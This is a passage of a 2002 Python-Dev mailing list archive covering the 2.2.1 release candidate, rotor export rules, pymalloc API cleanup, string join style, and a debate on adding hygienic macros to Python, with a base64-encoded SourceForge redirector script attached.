From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 18 Mar 2002 11:59:56 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <200203181452.g2IEq9F23071@pcp742651pcs.reston01.va.comcast.net>
References: <2m663z120p.fsf@starship.python.net>
 <2mvgbuvrhf.fsf@starship.python.net>
 <200203181425.g2IEPdj22231@pcp742651pcs.reston01.va.comcast.net>
 <2m4rjex7re.fsf@starship.python.net>
 <200203181452.g2IEq9F23071@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15510.7436.161374.534161@grendel.zope.com>

Guido van Rossum writes:
 > (Off-topic: shouldn't the new date/time contain an easterdate()
 > method? :-)

Only if there's also a documentationsprintdays() method!  ;=)


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From neal@metaslash.com  Mon Mar 18 17:04:55 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Mon, 18 Mar 2002 12:04:55 -0500
Subject: [Python-Dev] rotor module
References: <3C95C439.D5B3C573@lemburg.com>
Message-ID: <3C961E37.56BB3F30@metaslash.com>

"M.-A. Lemburg" wrote:
> 
> While discussing the PSF contrib docs with Martin, we came
> across a possible violation of the US export regulations:
> 
> According to the BXA web-site, all crypto code with more
> than 56 bit keys, has to be regsitered with the BXA. rotor
> uses 80 bit keys.

I believe this restriction was eased.  Exemptions are listed here:
http://www.bxa.doc.gov/Encryption/lechart1.html

For open source software:

License Exception:       TSU-740.13
Country Scope:           Global, may not knowingly export to the T-7
Reporting Requirements:  No
Restrictions:
        - Notification by time of export
        - Considered "publicly available"

Neal


From fdrake@acm.org  Mon Mar 18 17:03:17 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 18 Mar 2002 12:03:17 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <2mhendrkkq.fsf@starship.python.net>
References: <2m663z120p.fsf@starship.python.net>
 <2mvgbuvrhf.fsf@starship.python.net>
 <200203181425.g2IEPdj22231@pcp742651pcs.reston01.va.comcast.net>
 <2m4rjex7re.fsf@starship.python.net>
 <200203181452.g2IEq9F23071@pcp742651pcs.reston01.va.comcast.net>
 <2mhendrkkq.fsf@starship.python.net>
Message-ID: <15510.7637.606489.4208@grendel.zope.com>

Michael Hudson's .sig sez:
 > Java sucks. [...] Java on TV set top boxes will suck so hard it
 > might well inhale people from off  their sofa until their heads
 > get wedged in the card slots.              --- Jon Rabone, ucam.chat

This is great!  We can eliminate all the couch potatos and their TVs
in one fell swoop!  I like this.  ;-)


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From martin@v.loewis.de  Mon Mar 18 15:57:22 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 18 Mar 2002 16:57:22 +0100
Subject: [Python-Dev] pymalloc on Windows
In-Reply-To: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au>
References: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au>
Message-ID: <m31yehhnrx.fsf@mira.informatik.hu-berlin.de>

"Mark Hammond" <mhammond@skippinet.com.au> writes:

> I assume from previous discussions here that _PyCore_ObjectMalloc is indeed
> supposed to be private and not exposed from the main module/dll.
[...]
> I also just saw Martin say that some of these macros may define themselves
> back to the function anyway making all this moot :)

Or, more interestingly, Neil's patch taking away the PyCore* API
altogether. If we take his approach, the list of symbols-to-export
needs to be written from scratch.

Regards,
Martin



From mal@lemburg.com  Mon Mar 18 17:23:02 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 18 Mar 2002 18:23:02 +0100
Subject: [Python-Dev] rotor module
References: <3C95C439.D5B3C573@lemburg.com> <3C961E37.56BB3F30@metaslash.com>
Message-ID: <3C962276.319950D5@lemburg.com>

Neal Norwitz wrote:
> 
> "M.-A. Lemburg" wrote:
> >
> > While discussing the PSF contrib docs with Martin, we came
> > across a possible violation of the US export regulations:
> >
> > According to the BXA web-site, all crypto code with more
> > than 56 bit keys, has to be regsitered with the BXA. rotor
> > uses 80 bit keys.
> 
> I believe this restriction was eased.  Exemptions are listed here:
> http://www.bxa.doc.gov/Encryption/lechart1.html
> 
> For open source software:
> 
> License Exception:       TSU-740.13
> Country Scope:           Global, may not knowingly export to the T-7
> Reporting Requirements:  No
> Restrictions:
>         - Notification by time of export

Correct, but this notification may still be missing... the PSF
should get this "fixed".

>         - Considered "publicly available"

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From fdrake@acm.org  Mon Mar 18 17:58:08 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 18 Mar 2002 12:58:08 -0500
Subject: [Python-Dev] 2.2.1c1 is go!
In-Reply-To: <2meliiow31.fsf@starship.python.net>
References: <2meliiow31.fsf@starship.python.net>
Message-ID: <15510.10928.297335.780679@grendel.zope.com>

Michael Hudson writes:
 > I believe the next step according to PEP 102 is for Fred to build the
 > docs and Tim to build the Windows installer.

I'm building the last of the docs now; I'll send a note when this is
done.

 > Please, no one check anything in to the release22-maint branch without
 > checking with me, Tim or Fred, as appropriate (unless you are Tim or
 > Fred, of course).

The Doc/ directory is now off-limits to everyone.

 > When Tim and Fred are done, I should be ready to do the remaining
 > steps (praise be for PEP 102!), but I have a tutorial to give now...

I guess I should take a look at that PEP.  ;-)


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tim.one@comcast.net  Mon Mar 18 18:04:57 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 13:04:57 -0500
Subject: [Python-Dev] pymalloc on Windows
In-Reply-To: <200203181547.g2IFlX024021@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEIHOFAA.tim.one@comcast.net>

[Guido]
>>> Hm, I thought it was explicitly the case that only (the statically
>>> linked part of) the core would ever use these macros.  So why would
>>> there be 3rd party code breakage?

[Neil]
>> Nope, that was never the case, AFAIK.

[Guido]
> Sigh, I must've been confused by some other set of macros that had
> this property. :-(

The PyMem_XXX macros "(do) not preserve binary compatibility accross [sic]
Python versions and (are) therefore deprecated in extension modules" is as
close as we get to restricting any of these guys to the core.  Similar text
doesn't appear in the PyObject_XXX docs.  That doesn't mean it wasn't
intended, though <wink>.



From fdrake@acm.org  Mon Mar 18 18:33:30 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Mon, 18 Mar 2002 13:33:30 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020318183330.4F9B618ED52@grendel.zope.com>

The development version of the documentation has been updated:

    http://python.sourceforge.net/maint-docs/

Documentation for 2.2.1 release candidate 1.


From nas@python.ca  Mon Mar 18 19:44:13 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 11:44:13 -0800
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <4C99842BC5F6D411A6A000805FBBB19958DD8A@ge0057exch01.agere.com>; from vladimir.marangozov@optimay.com on Fri, Mar 15, 2002 at 08:24:14PM +0100
References: <4C99842BC5F6D411A6A000805FBBB19958DD8A@ge0057exch01.agere.com>
Message-ID: <20020318114413.A22514@glacier.arctrix.com>

Vladimir Marangozov wrote:
> 2. I agree that the macro chain (especially on the pymalloc side)
>    is not so useful at the end, so maybe all PyCore_ macros can be
>    removed. The function names of the allocator can be cast in
>    stone and then _THIS_xxx in obmalloc.c replaced with them.

If you have time, please look at path 531493:

  http://starship.python.net/crew/mwh/py/patch/531493

I think the patch is pretty uncontroversial.

  Neil

PS. Can someone please get the patch/bug redirector working on python.org?


From sjmachin@lexicon.net  Mon Mar 18 21:13:53 2002
From: sjmachin@lexicon.net (John Machin)
Date: Tue, 19 Mar 2002 07:13:53 +1000
Subject: [Python-Dev] Idea - place to put string functions and consts
In-Reply-To: <15510.1914.551906.593851@anthem.wooz.org>
Message-ID: <3C96E531.11083.400382@localhost>

On 18 Mar 2002 at 10:27, Barry A. Warsaw wrote:

> 
> >>>>> "GvR" == Guido van Rossum <guido@python.org> writes:
> 
>     GvR> I still like
> 
>     GvR>     ",".join(["spam", "eggs"])
> 
>     GvR> much better.
> 
> Me took, especially when it's spelled
> 
>     COMMA = ','
>     ...
>     COMMA.join(['spam', 'eggs'])
> 

Me too, especially when it's spelled

   comma_join = ",".join
   ...
   comma_join(['spam', 'eggs'])


From guido@python.org  Mon Mar 18 20:18:09 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 15:18:09 -0500
Subject: [Python-Dev] Idea - place to put string functions and consts
In-Reply-To: Your message of "Tue, 19 Mar 2002 07:13:53 +1000."
 <3C96E531.11083.400382@localhost>
References: <3C96E531.11083.400382@localhost>
Message-ID: <200203182018.g2IKIAI25445@pcp742651pcs.reston01.va.comcast.net>

> > Me took, especially when it's spelled
> > 
> >     COMMA = ','
> >     ...
> >     COMMA.join(['spam', 'eggs'])

This I've never liked.

> Me too, especially when it's spelled
> 
>    comma_join = ",".join
>    ...
>    comma_join(['spam', 'eggs'])

But this one's sweet!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tree@basistech.com  Mon Mar 18 20:31:47 2002
From: tree@basistech.com (Tom Emerson)
Date: Mon, 18 Mar 2002 15:31:47 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
Message-ID: <15510.20147.954575.793020@magrathea.basistech.com>

Greetings all,

Has there been any discussion about adding a macro system to Python,
such as the hygienic macros supported by Scheme (R^4RS and later) and
Dylan?  Dylan made a lot of use of macros, providing a very powerful
environment for them. Many useful constructs can be implemented with
macros.

Anyway, if this has been discussed and shot down, I'll end the
discussion now. However, if this something that has been considered,
or might be, I'd be interested in pursuing it further.

    -tree

-- 
Tom Emerson                                          Basis Technology Corp.
Sr. Computational Linguist                         http://www.basistech.com
  "Beware the lollipop of mediocrity: lick it once and you suck forever"


From jeremy@zope.com  Mon Mar 18 20:50:46 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Mon, 18 Mar 2002 15:50:46 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <15510.20147.954575.793020@magrathea.basistech.com>
Message-ID: <web-3773256@digicool.com>

On Mon, 18 Mar 2002 15:31:47 -0500
 Tom Emerson <tree@basistech.com> wrote:
> Anyway, if this has been discussed and shot down, I'll
> end the
> discussion now. However, if this something that has been
> considered,
> or might be, I'd be interested in pursuing it further.

There has not been much interest in macros of any sort,
although there have been a few threads on comp.lang.python
recently.  It may be that a few motivating examples would
make clear why we should be interested :-).  

I have a hunch that many Python programs use classes +
operator overloading to achieve some of what Schemers
achieve with macros (clearly not everything).  That is, we
live with the basic syntax we're given and use classes to
extend behavior.

Jonathan Bachrach's Java Syntax Extender seems like it
provides a module for extending languages with more
conventional syntax, but I found his OOPSLA paper short on
the concrete details.  Perhaps it's more transparent to a
more expert user of macros.  There's a reference somewhere
around here:
http://www.ai.mit.edu/research/abstracts/abstracts2001/reliable-software/reliable-software.shtml

Jeremy


From barry@zope.com  Mon Mar 18 20:56:35 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 18 Mar 2002 15:56:35 -0500
Subject: [Python-Dev] Idea - place to put string functions and consts
References: <3C96E531.11083.400382@localhost>
 <200203182018.g2IKIAI25445@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15510.21635.931843.596664@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    >> COMMA.join(['spam', 'eggs'])

    GvR> This I've never liked.

    >> comma_join(['spam', 'eggs'])

    GvR> But this one's sweet!

Ah, so is it the uppercase letters or the dot you dislike <wink>?

-Barry


From guido@python.org  Mon Mar 18 20:57:24 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 15:57:24 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: Your message of "Mon, 18 Mar 2002 15:31:47 EST."
 <15510.20147.954575.793020@magrathea.basistech.com>
References: <15510.20147.954575.793020@magrathea.basistech.com>
Message-ID: <200203182057.g2IKvOa25605@pcp742651pcs.reston01.va.comcast.net>

> Has there been any discussion about adding a macro system to Python,
> such as the hygienic macros supported by Scheme (R^4RS and later) and
> Dylan?  Dylan made a lot of use of macros, providing a very powerful
> environment for them. Many useful constructs can be implemented with
> macros.
> 
> Anyway, if this has been discussed and shot down, I'll end the
> discussion now. However, if this something that has been considered,
> or might be, I'd be interested in pursuing it further.

I've considered it, and rejected it.  That doesn't mean you shouldn't
bring it up, but I expect it would turn Python into an entirely
different language.

I recently had a thought about how Python and C++ represent extreme
ends of the spectrum of how much happens in the parser/compiler
vs. how much happens at run time (although Lisp would be even more
extreme than Python on this scale).

- In C++, the compiler is incredibly powerful (especially with the new
  templates).  This means you can use the compiler for very
  sophisticated compile-time processing.  But the downside is that
  if you don't know a lot about how compilers work, or how the
  specific C++ compiler you're using works, it can be quite baffling
  to figure out how you're supposed to accomplish even simple things
  (e.g. examples like "istream_iterator<string> i(cin);" are quite
  baffling).

- In Python, the parser and compiler are extremely stupid -- e.g. the
  compiler doesn't even know the type of variables, and translates
  everything to very simple bytecode.

This means that (ideally) when using Python, you only need to learn
the intricacies of one system: the runtime, and that one is relatively
well-behaved: when something's wrong, all the context is available,
and can be shown in the debugger or in the traceback.  Contrast that
to debugging C++: when the problem occurs at runtime, it may be
difficult to correlate it to the relevant portions of the source
(e.g. because of template expansion).  When a C++ problem occurs at
compile time, it may *still* be hidden by layers of template
expansion, and even if it isn't, there are so many things to talk
about that the compiler may have a hard time telling you what's wrong
in a language you can understand -- again, you often end up learning a
lot about compiler internals if you want to understand its error
messages.

I guess I'm wary of anything that adds compile time complexity,
especially if the user will be aware of it -- I'm not set against
adding optimizations, as long as they don't change the semantics and
don't add new error messages or warnings.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pedroni@inf.ethz.ch  Mon Mar 18 21:02:01 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 18 Mar 2002 22:02:01 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <15510.20147.954575.793020@magrathea.basistech.com>
Message-ID: <05ab01c1cec0$267614c0$6d94fea9@newmexico>

From: Tom Emerson <tree@basistech.com>
> Greetings all,
> 
> Has there been any discussion about adding a macro system to Python,
> such as the hygienic macros supported by Scheme (R^4RS and later) and
> Dylan?  Dylan made a lot of use of macros, providing a very powerful
> environment for them. Many useful constructs can be implemented with
> macros.
> 

Macros (unless you pay a huge cost, or you have a very very clever
implementation in mind) destroy the illusion that there is only
run time (vs. compile time etc), it would be a huge quantum leap
for Python.

Funny, Guido sez more or less the same thing <wink>.

regards. 



From tree@basistech.com  Mon Mar 18 21:10:40 2002
From: tree@basistech.com (Tom Emerson)
Date: Mon, 18 Mar 2002 16:10:40 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <web-3773256@digicool.com>
References: <15510.20147.954575.793020@magrathea.basistech.com>
 <web-3773256@digicool.com>
Message-ID: <15510.22480.568459.206414@magrathea.basistech.com>

Jeremy Hylton writes:
> There has not been much interest in macros of any sort,
> although there have been a few threads on comp.lang.python
> recently.  It may be that a few motivating examples would
> make clear why we should be interested :-).  

Sure, here's one from Dylan, that provides a useful bit of syntactic
sugar that makes some code easier to read:

  define macro unless
    { unless (?test:expression) ?:body end }
     => { if (~ ?test) ?body end }

which allows me to write something like

  unless ( has_foo (bar) )
    do_something
  end

Which is equivalent to

  if (~ has_foo(bar))
    do_something
  end

I find using 'unless' makes some things more readable. To learn the
internals of the compiler I've been adding an unless statement to
Python, but one shouldn't need to do this in order to add useful
constructions like this.

Guido van Rossum writes:
> I've considered it, and rejected it.  That doesn't mean you shouldn't
> bring it up, but I expect it would turn Python into an entirely
> different language.

Perhaps, perhaps not. Did the addition of hygienic macros to Scheme
make it an entirely different language?

> I recently had a thought about how Python and C++ represent extreme
> ends of the spectrum of how much happens in the parser/compiler
> vs. how much happens at run time (although Lisp would be even more
> extreme than Python on this scale).
[...]

This is comparing apples to oranges though? C++ is a monstrosity, as
anyone who has worked on a C++ compiler (especially the front-end!)
can tell you. The complications that are introduced into the language
runtime by features like parameterized types far outweight their
usefulness IMHO. I agree with all of your points about C++, which is
why I avoid many of the bletcherous features you describe.

Even with parameterized types aside, trying to debug any non-trivial
amount of C or C++ that makes use of a large number of function macros
is a royal PITA. Indeed, Stroustrup recommends replacing macros with
inline functions for this very reason: at least then you can step into
the functions.

I don't think it would be possible to add hygienic macros to C/C++,
and I think it would be a bad idea adding pre-processor-based macros
to Python. However, Scheme and Dylan both provide high-level
environments where macro systems have been instituted and tools
created to successfully debug code using them. The really issue is
comparing Python to Lisp/Scheme/Dylan, and seeing where it's dichotomy
between runtime and compile time leave the programmer.

> I guess I'm wary of anything that adds compile time complexity,
> especially if the user will be aware of it -- I'm not set against
> adding optimizations, as long as they don't change the semantics and
> don't add new error messages or warnings.

Well, adding any type of macro system will add compile time
complexity. The question is whether or not the benefits make that
extra complexity worth-while.

Anyway, just some random thoughts.

    -tree

-- 
Tom Emerson                                          Basis Technology Corp.
Sr. Computational Linguist                         http://www.basistech.com
  "Beware the lollipop of mediocrity: lick it once and you suck forever"


From guido@python.org  Mon Mar 18 21:11:53 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 16:11:53 -0500
Subject: [Python-Dev] Idea - place to put string functions and consts
In-Reply-To: Your message of "Mon, 18 Mar 2002 15:56:35 EST."
 <15510.21635.931843.596664@anthem.wooz.org>
References: <3C96E531.11083.400382@localhost> <200203182018.g2IKIAI25445@pcp742651pcs.reston01.va.comcast.net>
 <15510.21635.931843.596664@anthem.wooz.org>
Message-ID: <200203182111.g2ILBrE25758@pcp742651pcs.reston01.va.comcast.net>

> >>>>> "GvR" == Guido van Rossum <guido@python.org> writes:
> 
>     >> COMMA.join(['spam', 'eggs'])
> 
>     GvR> This I've never liked.
> 
>     >> comma_join(['spam', 'eggs'])
> 
>     GvR> But this one's sweet!
> 
> Ah, so is it the uppercase letters or the dot you dislike <wink>?

Maybe that, maybe the bother of defining a name for a simple constant;
it's not like you plan to ever change the program to give COMMA a
different value.  But comma_join is sweet because it removes a
constant evaluation from a loop (if the join occurs in a loop).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 18 21:13:05 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 16:13:05 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: Your message of "Mon, 18 Mar 2002 22:02:01 +0100."
 <05ab01c1cec0$267614c0$6d94fea9@newmexico>
References: <15510.20147.954575.793020@magrathea.basistech.com>
 <05ab01c1cec0$267614c0$6d94fea9@newmexico>
Message-ID: <200203182113.g2ILD5j25776@pcp742651pcs.reston01.va.comcast.net>

> Macros (unless you pay a huge cost, or you have a very very clever
> implementation in mind) destroy the illusion that there is only
> run time (vs. compile time etc), it would be a huge quantum leap
> for Python.
> 
> Funny, Guido sez more or less the same thing <wink>.

Thanks for saying it in so few words!  I'll remember that.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jeremy@zope.com  Mon Mar 18 21:24:47 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Mon, 18 Mar 2002 16:24:47 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <15510.22480.568459.206414@magrathea.basistech.com>
Message-ID: <web-3773549@digicool.com>

On Mon, 18 Mar 2002 16:10:40 -0500
 Tom Emerson <tree@basistech.com> wrote:
> I find using 'unless' makes some things more readable. To
> learn the
> internals of the compiler I've been adding an unless
> statement to
> Python, but one shouldn't need to do this in order to add
> useful
> constructions like this.

Funny you should pick this example!  I have been struggling
with a collection of C code where the author used an
UNLESS() macro.  I find it obscures the program logic
significantly.  In part, I'm sure it's because I don't use
it in any of my own C code, so it's an oddball control flow
constructs to my eyes.  I'm not sure that I'd like to see
Python programmers acquire to many ways to spell if :-).

Jeremy


From skip@pobox.com  Mon Mar 18 21:35:10 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 18 Mar 2002 15:35:10 -0600
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <20020318114413.A22514@glacier.arctrix.com>
References: <4C99842BC5F6D411A6A000805FBBB19958DD8A@ge0057exch01.agere.com>
 <20020318114413.A22514@glacier.arctrix.com>
Message-ID: <15510.23950.459684.253238@beluga.mojam.com>

--bHUGs48YzJ
Content-Type: text/plain; charset=us-ascii
Content-Description: message body text
Content-Transfer-Encoding: 7bit


    Neil> PS. Can someone please get the patch/bug redirector working on
    Neil> python.org?

Here's one that accepts bug ids or patch ids as the PATH_INFO, e.g.:

    http://python.sf.net/sfredir.py/512981

I don't know how this compares with Michael's.  It doesn't log me out of SF
though.

Skip


--bHUGs48YzJ
Content-Type: application/octet-stream
Content-Description: SF bug/patch redirector
Content-Transfer-Encoding: base64

IyEvdXNyL2xvY2FsL2Jpbi9weXRob24KCmltcG9ydCBjZ2l0YgpjZ2l0Yi5lbmFibGUoKQoK
aW1wb3J0IHVybGxpYgppbXBvcnQgb3MKCmRlZiBtYWluKCk6CiAgICBzZmlkID0gb3MuZW52
aXJvbi5nZXQoIlBBVEhfSU5GTyIsICIvMDAwMDAiKVsxOl0KCiAgICBmbXQgPSAoJ2h0dHA6
Ly9zb3VyY2Vmb3JnZS5uZXQvdHJhY2tlci9pbmRleC5waHA/JwogICAgICAgICAgICdmdW5j
PWRldGFpbCZhaWQ9JShzZmlkKXMmZ3JvdXBfaWQ9NTQ3MCZhdGlkPSUoZ3JwKXMnKQoKICAg
IGJ1Z2lkID0gIjEwNTQ3MCIKICAgIHBhdGlkID0gIjMwNTQ3MCIKCiAgICBmb3IgZ3JwIGlu
IChidWdpZCwgcGF0aWQpOgogICAgICAgIHVybCA9IGZtdCAlIGxvY2FscygpCiAgICAgICAg
dHJ5OgogICAgICAgICAgICBmID0gdXJsbGliLnVybG9wZW4odXJsKQogICAgICAgIGV4Y2Vw
dCBJT0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgZWxzZToKICAgICAgICAgICAg
IyBTRiBkb2Vzbid0IHJldHVybiBhIDQwNCB3aGVuIHlvdSBtYXRjaCBhbiBpZCB3aXRoIHRo
ZSB3cm9uZwogICAgICAgICAgICAjIGdyb3VwIC0gZ290dGEgZG8gYSBjcnVkZSBwYWdlIHBh
cnNlCiAgICAgICAgICAgIGRhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICBpZiBkYXRhLmZp
bmQoIkFydGlmYWN0OiBJbnZhbGlkIEFydGlmYWN0SUQiKSAhPSAtMToKICAgICAgICAgICAg
ICAgIGNvbnRpbnVlCgoJcHJpbnQgJ1N0YXR1czogMzAyIE1vdmVkIHRlbXBvcmFyaWx5Jwog
ICAgICAgIHByaW50ICJMb2NhdGlvbjoiLCB1cmwKICAgICAgICBwcmludCAiQ29udGVudC10
eXBlOiB0ZXh0L2h0bWwiCiAgICAgICAgcHJpbnQKICAgICAgICBwcmludCAnPGh0bWw+Jwog
ICAgICAgIHByaW50ICc8aGVhZD4nCiAgICAgICAgcHJpbnQgJzwvaGVhZD4nCiAgICAgICAg
cHJpbnQgJzxib2R5PicKICAgICAgICBwcmludCAnRG9jdW1lbnQgbW92ZWQgPGEgaHJlZj0i
JSh1cmwpcyI+aGVyZTwvYT4nICUgbG9jYWxzKCkKICAgICAgICBwcmludCAnPC9ib2R5Pjwv
aHRtbD4nCiAgICAgICAgcmV0dXJuCgoKICAgIHByaW50ICdTdGF0dXM6IDQwNCBOb3QgRm91
bmQnCiAgICBwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWwiCiAgICBwcmludAogICAg
cHJpbnQgJzxodG1sPjxib2R5PicKICAgIHByaW50ICdObyBrbm93biBTRiBidWcgb3IgcGF0
Y2ggIyUoc2ZpZClzLicgJSBsb2NhbHMoKQogICAgcHJpbnQgJzwvYm9keT48L2h0bWw+Jwog
ICAgcmV0dXJuCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCg==
--bHUGs48YzJ--


From nas@python.ca  Mon Mar 18 21:37:37 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 13:37:37 -0800
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <web-3773256@digicool.com>; from jeremy@zope.com on Mon, Mar 18, 2002 at 03:50:46PM -0500
References: <15510.20147.954575.793020@magrathea.basistech.com> <web-3773256@digicool.com>
Message-ID: <20020318133737.A22883@glacier.arctrix.com>

Jeremy Hylton wrote:
> There has not been much interest in macros of any sort,
> although there have been a few threads on comp.lang.python
> recently.  It may be that a few motivating examples would
> make clear why we should be interested :-).  

I'm interested.  It's hard though in a language with a lot of syntax,
maybe no even worth doing.  Dylan macros are a lot less powerful than
Common Lisp macros.

Two applications immediately come to mind.  First, Quixote's unit test
module (now known Sancho).  Right now you have to write:

    self.test_val("foo.dosomething()", 2)

It would be nice if you could instead write:

    test_val(foo.dosomething(), 2)

Secondly, Quixote's PTL compiler.  If Python had macros I wouldn't have
written it.  Take a look at the HTML Generation facility that comes with
Allegroserve¹.  

I think I understand why macros work so well with Common Lisp.  In
Common Lisp, the AST is really a list.  The AST is easy to read and
write and it's easy to make macros transform it.  That gives Common Lisp
programmer's an amazing amount of power.  Maybe Guido thinks it gives
them too much.  Myself, I don't know.  Most of the time you don't need
macros but when you do you really do.

  Neil


¹http://allegroserve.sourceforge.net/htmlgen.html


From mwh@python.org  Mon Mar 18 21:35:59 2002
From: mwh@python.org (Michael Hudson)
Date: Mon, 18 Mar 2002 21:35:59 +0000 (GMT)
Subject: [Python-Dev] RELEASED: Python 2.2.1c1
Message-ID: <Pine.LNX.4.44.0203181712420.8629-100000@starship.python.net>

We've released a release candidate for the next bugfix release of Python, 
2.2.1.

Get the scoop (and the files) here:

    http://www.python.org/2.2.1/

In order to make 2.2.1 a solid release, please help by

+ Building the release, and running the test suite on your platform.
+ Building your extension modules and applications against this
  release, and running *their* test suites.
+ Reporting any problems to the bug tracker at sf:

    http://sourceforge.net/bugs/?group_id=5470

This being a bugfix release, there are no exciting new features -- we just
fixed a lot of bugs.  For a moderately complete list, please see:

    http://http://sourceforge.net/project/shownotes.php?release_id=80208

Depending on how many problems are found in this release, 2.2.1 final or a
second release candidate will follow next week.

Extra note for keenies:

One of the bugs addressed in this release relates to the behaviour of
floating point numbers with respect to under- and over-flow.  This has
traditionally been an obscure platform-dependent mess.  To make sure that
this is still the case, I would ask those of you with access to the more
unusual platforms (i.e. not Linux/x86, Win32/x86) to run test_math in
verbose mode and *email me* the results, including details of platform and
OS tested.  Thanks.

Cheers,
The Python development team.





From pedroni@inf.ethz.ch  Mon Mar 18 21:37:56 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 18 Mar 2002 22:37:56 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <web-3773549@digicool.com>
Message-ID: <05e601c1cec5$2b573820$6d94fea9@newmexico>

From: Jeremy Hylton <jeremy@zope.com>
> On Mon, 18 Mar 2002 16:10:40 -0500
>  Tom Emerson <tree@basistech.com> wrote:
> > I find using 'unless' makes some things more readable. To
> > learn the
> > internals of the compiler I've been adding an unless
> > statement to
> > Python, but one shouldn't need to do this in order to add
> > useful
> > constructions like this.
> 
> Funny you should pick this example!  I have been struggling
> with a collection of C code where the author used an
> UNLESS() macro.  I find it obscures the program logic
> significantly.  In part, I'm sure it's because I don't use
> it in any of my own C code, so it's an oddball control flow
> constructs to my eyes.  I'm not sure that I'd like to see
> Python programmers acquire to many ways to spell if :-).
> 

You're right, but even some Common Lispers
would find adding sligthly different flavors of control structures,
a contrived use of macros.

The point of macros is to add mini-languages
such that you're main language is embedded in
them. The macros of CL GUI systems 
are examples of that, or templating macros,
and some resource handling macros.

Anyway I have toyed myself with the idea
of adding macros to Python, but the conclusion
is that macros do not fit in Python's ecology,
or at least that you should design them
from scratch trying radical new ideas. Python is not a Lisp-like
language, it is probably more like Smalltalk,
that means that anonymous blocks would be
more natural (probably still not natural enough).

regards.




From skip@pobox.com  Mon Mar 18 21:45:40 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 18 Mar 2002 15:45:40 -0600
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <15510.22480.568459.206414@magrathea.basistech.com>
References: <15510.20147.954575.793020@magrathea.basistech.com>
 <web-3773256@digicool.com>
 <15510.22480.568459.206414@magrathea.basistech.com>
Message-ID: <15510.24580.511915.11086@beluga.mojam.com>

    Tom>   define macro unless
    Tom>     { unless (?test:expression) ?:body end }
    Tom>      => { if (~ ?test) ?body end }

    ...

    Tom> I find using 'unless' makes some things more readable. To learn the
    Tom> internals of the compiler I've been adding an unless statement to
    Tom> Python, but one shouldn't need to do this in order to add useful
    Tom> constructions like this.

Try this on for size:

    http://groups.google.com/groups?hl=en&ie=ISO-8859-1&oe=ISO-8859-1&frame=right&th=e4809653296a3b71&seekm=mailman.1016132066.3225.python-list%40python.org#link1

It may allow you to do some things like unless without messing around with
the compiler proper, though it is clearly nothing more than a neat little
hack.

Skip



From paul@prescod.net  Mon Mar 18 21:41:50 2002
From: paul@prescod.net (Paul Prescod)
Date: Mon, 18 Mar 2002 13:41:50 -0800
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <15510.20147.954575.793020@magrathea.basistech.com>
 <web-3773256@digicool.com> <15510.22480.568459.206414@magrathea.basistech.com>
Message-ID: <3C965F1E.EEF0DA6F@prescod.net>

Tom Emerson wrote:
